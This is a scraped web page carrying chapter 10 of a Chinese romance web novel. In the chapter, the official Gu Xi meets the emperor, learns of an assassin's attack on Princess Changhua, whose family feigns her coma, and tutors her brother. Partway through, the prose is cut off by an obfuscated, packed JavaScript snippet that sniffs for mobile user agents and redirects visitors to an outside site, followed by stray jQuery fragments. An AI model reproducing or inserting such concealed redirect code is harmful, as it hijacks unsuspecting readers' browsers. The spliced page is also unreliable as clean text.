10. 第 10 章
作品:《在白月光面前装失忆后》 殿中只剩二人,惠文帝抬手让人上茶,细问了他柳氏命案的进程及审刑院的公务,顾玺词简意赅,无不分条析理,应答得当。
惠文帝展颜一笑,提起杯盏道。
“孤知道,这样的命案交给你是大材小用,只是柳家于朝中文臣影响颇深,若是处置不得当,恐怕会伤了朝廷根基,需得谨慎以对。”
“待你手头案子皆了结后,孤会调你入枢密院,届时天高海阔,有的是机会让你施展。”
顾玺垂眸,恭而敬之。
“微臣初中举时被同僚暗害,外任荒芜之地,若非陛下信重受任宣抚使,便无微臣今日,只要能为陛下尽忠,在哪都是一样的。”
惠文帝兀自斟茶:“孤当年提拔你只是出于惜才之心,却不知你竟是顾学士之子。”
“请陛下恕罪,臣并非刻意隐瞒。”顾玺俯身行了个大礼,“微臣幼时心高气傲,离家后立誓与顾府两断,靠自己闯出一片天地,多年来羞于提及出身,望陛下见谅。”
惠文帝撂下茶盏,隔着鎏金香炉上升腾起的袅袅白眼,抬眸望了眼顾玺。
随后起身,亲手扶起了顾玺。
“你为人清高,身有傲骨,孤喜欢的便是如此,怎会怪罪。”
惠文帝拍了拍顾玺肩膀,温和道。
“公务虽要紧,却也不能忽视其他,听顾学士说,你自回京后多半住在审刑司,回顾府的时候不过三次,这像什么话?血浓于水,你既已归家,也该与家人多走动,芥蒂自然便消了。”
顾玺应声。
君臣二人又谈了半晌,直至天色将晚,顾玺才出了乾坤殿的门。
“主子。”
既白立即迎了上来。
入宫前,顾玺便派他前往武安侯府探查情况,他低声禀道:“那刺客伪装成小厮潜入长华县主闺房,不想与提早回房的县主撞个正着,刺伤县主后逃逸而去,屋内留有明显翻找痕迹。”
“长华县主伤迷未醒,武安侯府请了太医入府医治,方才听闻已无性命之忧。”
“属下已名人追查其身份,明日之前便会有结果。”
既白禀后,正以为此事已经过去时,又听得顾玺问道:“既已安插了人手,怎会发生行刺之事?”
声音微冷,不辨喜怒。
既白垂下头。
虽是遵顾玺之命勿要打草惊蛇,但终究是下头的人疏忽,才会使长华县主受此重伤,他自知失职,俯身认错道。
“那人化作侯府小厮,行动轨迹甚合规矩,定是有预谋而来,盯梢的人一时没有察觉出异常,属下办事不力,请主子责罚。”
顾玺步履未停,面容冷峻。
看不出他是否有责罚之意,既白只能心惊胆战地跟在身后,见其半晌未言怪罪,他侥幸自己躲过一劫,换了个话题道。
“主子,昨日顾家来人传话,让您今晚回府用膳。”
“自您回京后,那边已经派人来请四五回了,若您再不去一趟,顾学士怕是要亲自找来审刑司了。”
见顾玺不为所动,既白干脆道。
“听说今日左相杜方伦携女至学士府做客,顾学士叫您回去,许是想引荐杜家小姐与您相识。”
顾玺虽对男女之事淡薄,但早晚要成婚。
与骄慢张扬的长华县主不同,杜婉秋是个娴雅至极的人。
且不提门当户对的身份,二人并肩而立时,男如皎皎明月,女似空谷幽兰,气韵相投,十分般配。
依既白猜想,若有女子入得了顾玺的眼,大抵便是如此了。
“那日素宴上,属下见您与杜小姐亦相谈甚欢。”他试探问道:“主子,要不…”
顾玺瞥了他一眼,冷冷打断了他。
“你若将精力放在分内之事上,我便不用次次听你告罪办事不力了。”
分内之事?
既白脸色一垮,追上前又告罪起来。
“主子,武安侯府一事确实是属下办事不力…”
是夜,顾学士终究独自接待了杜相一家。
顾玺称忙于公务,连顾府亦没踏入半步,在审刑司住了三日后,使人向武安侯府递了拜帖。
听说惠文帝指了顾玺来指点元翊,周氏十分欣喜。
提前两日她便将元翊喊到自己房中,耳提面命,责令其对顾玺务必客客气气,不许顶撞冒犯云云。
“阿娘这话翻来覆去,听得我耳朵都起了茧。”
元翊撇嘴,他不喜欢那些古板严苛的读书人,心中虽有些不忿,却仍旧道:“娘只管放心,眼下柳氏的案子攥在他手里,就算看在阿姐的份上,我也不会在这时候得罪他。”
大不了好吃好喝招待着,应付过去就算了。
“对了,阿姐今日如何了?”元翊抓了把花生塞到嘴里,“小厨房做了熏鹿肉,我去送些给她,正好把这事同她说说。”
周氏骤然咳了几声,朝门外瞥了一眼,见无人才松了口气,抬手一巴掌落在他后脑勺:“休得胡言,你阿姐昏迷未醒,哪里吃的下东西?”
元翊自知失言,吐了吐舌头小声道:“太医都来了两轮,她这病要装到什么时候?”
“刺客没抓到,你阿姐随时都会有危险。”周氏叹了口气,“对外称病,一来能清净些日子,二来也免得那人再急于下手。”
她对着元翊道。
“这些日子你老实读书,少往你阿姐院子里跑。”
元翊点了头。
也正因有周氏的嘱咐,顾玺上门时,元翊一改往日吊儿郎当的作风,对他的态度称得上客气,将他因至西侧的鹿临院中。
上回踏入武安侯府是为问案,并未
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908205|176657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
留心细观。
武安侯府飞檐青瓦,廊院亭桥以白石为栏,端方有序,葳蕤草木点缀峭台之中,不同于元家在外浮夸奢靡的印象,竟有种疏朗大气之感。
他不由想起元株之父,那位声名赫赫的元老将军,元鸿。
元家祖上乃武将出身,据悉元鸿武艺超群,曾领数十万雄兵,战场上力敌万夫,为大周立下无数汗马功劳,先皇对其十分尊崇爱重。
但也正因其骁勇善战,其夫人孕时遭了敌军细作暗算,元株生而体弱,自幼便失了习武的机会。
而后先皇将其招为太子伴读,锦衣玉食的养在宫中,本意在弥补元家一二,不想却将元株养废了,活脱脱成了文武不成的纨绔。
如今世人提起这名武安侯,也只知其招猫逗狗的风采,其一双儿女亦随了他,没一个争气的,哪有半分武将之风?
元家虽成了笑料,却也是幸运的。
莫说祖上战功,单凭元鸿因救驾而亡的忠勇之举,也足够保了后代荣华富贵。
因此元家人虽行事嚣张,引得言官频频弹劾,却始终未影响其荣宠。
直到柳氏命案爆发,文官激昂,民怨沸腾,才知有所收敛。
“顾侍郎,请用茶。”
元翊将人引进门,亲自奉了茶。
顾玺听说过这位侯府小世子,前头来教习的几位翰林院学儒皆被他气得头疼,如今这幅彬彬有礼的样子,显然是装的。
只是演技拙劣。
比他那位扮乖的阿姐好不到哪去。
他看破,却没有点破,顺势让他写篇文章来看。
出乎意料的是,元翊的字竟不错,词句亦通,看得出其头脑活络,只是心性未定,看上半个时辰的书便神飞九天,昏昏欲睡。
顾玺赌其坚持不了太久。
而他也能顺利成章地结束了这差事。
果真,他登门的第三日便不见元翊的身影,小半刻后有下人来禀,道世子着了风寒,今日无法来听书了。
今春多雨,是日晨起便下起绵绵细雨,到了此时屋外已大雨瓢泼,电闪雷鸣。
天气湿寒,正适合受凉。
顾玺自然不会揭穿。
下人松了口气,笑着奉上了壶热茶:“外头雨正大,不宜行走,顾侍郎歇至雨停再离开吧。”
雨势如此迅猛,即便撑伞也无用。
顾玺没有推辞,行至书案前席地而坐,随手拣本古籍细细翻阅起来。
雕窗外天色阴沉,青釉博山炉中升起丝丝白烟,檀香袅袅。
许是淅淅沥沥的雨声使他忽视了身后轻巧的脚步声,顾玺觉出异样时,是凭着空气中隐隐飘浮的一丝清甜之气。
这香气不属于檀香的醇厚,反而格外清幽。
他刚欲转身,背后便猝然撞上一片柔软。